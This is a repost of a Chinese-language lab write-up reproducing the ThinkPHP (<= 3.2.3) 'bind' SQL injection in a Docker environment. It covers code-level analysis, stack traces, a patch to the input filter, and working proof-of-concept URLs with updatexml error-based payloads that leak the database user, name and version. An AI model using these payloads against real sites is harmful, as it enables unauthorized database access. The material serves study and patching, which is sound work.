zoukankan      html  css  js  c++  java
  • ref:ThinkPHP Builder.php SQL注入漏洞(<= 3.2.3)

    ThinkPHP Builder.php SQL注入漏洞(<= 3.2.3)

    ref:https://www.jianshu.com/p/18d06277161e

    TimeSHU 2018.04.21 02:03* 字数 761 阅读 23评论 2

    ThinkPHP Builder.php SQL注入漏洞(<= 3.2.3)的一次漏洞复现作业

    -------------------------------------------------------------

    1.进入docker内部环境说明
    service docker start;
    docker ps;列出当前容器
    docker exec -it 9b96ee2b /bin/bash;//9b96ee2b为container_id
     
    2.实际调试堆栈以及参数传递情况:
    /var/www/html# more index.php
    // 开启调试模式 建议开发阶段开启 部署阶段注释或者设为false;方便打印日志。
    define('APP_DEBUG',True);
     
    下面是根据TimeSHU提供的docker环境调试update注入情况分析。

    这是poc:http://192.168.3.6/Home/Index/readcategorymsg?category[0]=bind&category[1]=0%20and(updatexml(1,concat(0x7e,(user())),0))

    category是数组:
    0:"bind"
    1:"0 and(updatexml(1,concat(0x7e,(user())),0))"

    出错堆栈信息:
    #0 /var/www/html/ThinkPHP/Library/Think/Db/Driver.class.php(350): E('1105:XPATH synt...')。
    #1 /var/www/html/ThinkPHP/Library/Think/Db/Driver.class.php(237): ThinkDbDriver->error()
    #2 /var/www/html/ThinkPHP/Library/Think/Db/Driver.class.php(906): ThinkDbDriver->execute('UPDATE `vulapps...', false)
    UPDATE `vulapps_message` SET `is_read`='1' WHERE `category` = '1' and(updatexml(1,concat(0x7e,(user())),0))//尽管前面为false,但是后面任然要执行。此次报错:XPATH syntax error: '~root@localhost'。

    /var/www/html/ThinkPHP/Library/Think/Db/Driver.class.php(906): public function update($data,$options)
    sql语句:return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);

    UPDATE `vulapps_message` SET `is_read`=:0 WHERE `category` = :0 and(updatexml(1,concat(0x7e,(user())),0))

    漏洞代码:

    protected function parseWhereItem($key,$val)//category,array(2) { [0]=...
    if(is_array($val)) {
    if(is_string($val[0])) {
    $exp = strtolower($val[0]);//array(2) { [0]=> string(4) "bind" [1]=> string(43) "0 and(updatexml(1,concat(0x7e,(user())),0))" } ,则exp=bind
    }elseif('bind' == $exp ){ //
    $whereStr .= $key.' = :'.$val[1];//$whereStr.=category=:0 and (updatexml...)此处将:0拼接进去,为后面pdo参数替换制造了机会。
    这里可以看出来如果where是一个数组的话,并且第一个元素为bind,那么直接就进行了拼接操作,分析到这里我们看看I函数的过滤限制并没有将bind排除。

    #3 /var/www/html/ThinkPHP/Library/Think/Model.class.php(451): ThinkDbDriver->update(Array, Array)
    $result = $this->db->update($data,$options);
    echo var_dump($data):
    array(1) { ["is_read"]=> int(1) } array(3) { ["where"]=> array(1) { ["category"]=> array(2) { [0]=> string(4) "bind" [1]=> string(43) "0 and(updatexml(1,concat(0x7e,(user())),0))" } } ["table"]=> string(15) "vulapps_message" ["model"]=> string(7) "message" }

    #4 /var/www/html/Application/Home/Controller/IndexController.class.php(18): ThinkModel->save(Array)
    public function readcategorymsg(){
    $condition['category'] = I("category");
    $data['is_read'] = 1;
    $res = M("message")->where($condition)->save($data);
    echo var_dump($condition['category'])."<br>";
    array(2) { [0]=> string(4) "bind" [1]=> string(43) "0 and(updatexml(1,concat(0x7e,(user())),0))" }

    #5 [internal function]: HomeControllerIndexController->readcategorymsg()
    #6 /var/www/html/ThinkPHP/Library/Think/App.class.php(173):

    补丁方法:在I函数增加bind过滤。

    function think_filter(&$value){ if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN|BIND)$/i',$value)){$value.=' ';}

    -------------------------------------------------------------

    漏洞环境:docker

    漏洞分析

    首先,我们知道insert 方法存在漏洞,那就查看 insert 方法的具体实现。

    该方法位于thinkphplibrary hinkdbBuilder.php 文件中,我们可以看到在函数开头调用了 parseData 方法,并将 $data 作为参数传入, $data 的值是我们通过 get方式传入的一个数组类型的数据,如下图:

     

    我们跟进parseData方法,该方法也在 thinkphplibrary hinkdbBuilder.php 文件中。

    可以看到,在结尾处有个switch语句,而且进入该语句后,会跳到case 'inc'的地方,这里关键就是看看 $this->parseKey 是否有对 $val[1] 变量进行过滤了;

    因为$val[1]变量就是我们payload中的updatexml(1,concat(0x7,user(),0x7e),1) ,如下图:

     

    继续跟进parseValue 方法,会发现直接将传入的 $key 返回了,没有进行任何过滤。

     

    我们再回到最开始的insert 方法,加上调试语句,看看此时的sql语句变成了什么样子,如下图:

    另一处update函数的注入与这个insert是类似的。

    使用docker搭建漏洞环境

        1.拉取镜像到本地

            docker pull medicean/vulapps:t_thinkphp_1

        2.启动环境

            docker run -d -p 80:80 medicean/vulapps:t_thinkphp_1

    -p 80:80 前面的 80 代表物理机的端口,可随意指定。

     

    使用和利用

        访问 http://192.168.0.104:80/, 假设启动的端口号为 80

            出现下图环境搭建成功了

     

    点击标记已读:可以使用burp抓包得到URL

    http://192.168.0.104/Home/Index/readcategorymsg?category=%E7%B3%BB%E7%BB%9F%E6%B6%88%E6%81%AF

    存在漏洞的地方:category=%E7%B3%BB%E7%BB%9F%E6%B6%88%E6%81%AF

    POC:

    http://192.168.0.104/Home/Index/readcategorymsg?category[0]=bind&category[1]=0 and(updatexml(1,concat(0x7e,(user())),0))

    使用上面POC可直接获取到数据库用户名

     

    爆出数据库用户名:root@localhost

    http://192.168.0.104/Home/Index/readcategorymsg?category[0]=bind&category[1]=0 and(updatexml(1,concat(0x7e,(database())),0))

     

     

    通过database(),报错回显一个数据库:vulapps

     

    http://192.168.0.104/Home/Index/readcategorymsg?category[0]=bind&category[1]=0 and(updatexml(1,concat(0x7e,(version())),0))

     

    爆出数据库版本:5.5.57-0ubuntu0.14.04.1

    网上找了些资料,但还是对这个不是很懂,本来想构造一个语句看看是否能获取到数据库中的账户和密码,结果发现无法使用(尴尬..)

    对上面的这段POC不算很懂,只能看出大概就是通过user()这里修改可以获取到数据库用户和版本

    参考资料:

    https://mp.weixin.qq.com/s/lNaH2-AAtk9JVKbbCBeIRA

    https://mp.weixin.qq.com/s/4xXS7usHMFNgDTEHcHBcBA

  • 相关阅读:
    auto-sklearn案例解析二
    auto-sklearn案例解析二
    auto-sklearn案例解析一
    auto-sklearn案例解析一
    auto-sklearn简介
    auto-sklearn简介
    auto-sklearn手册
    auto-sklearn手册
    观念
    JDBC总结
  • 原文地址:https://www.cnblogs.com/studyskill/p/9013239.html
Copyright © 2011-2022 走看看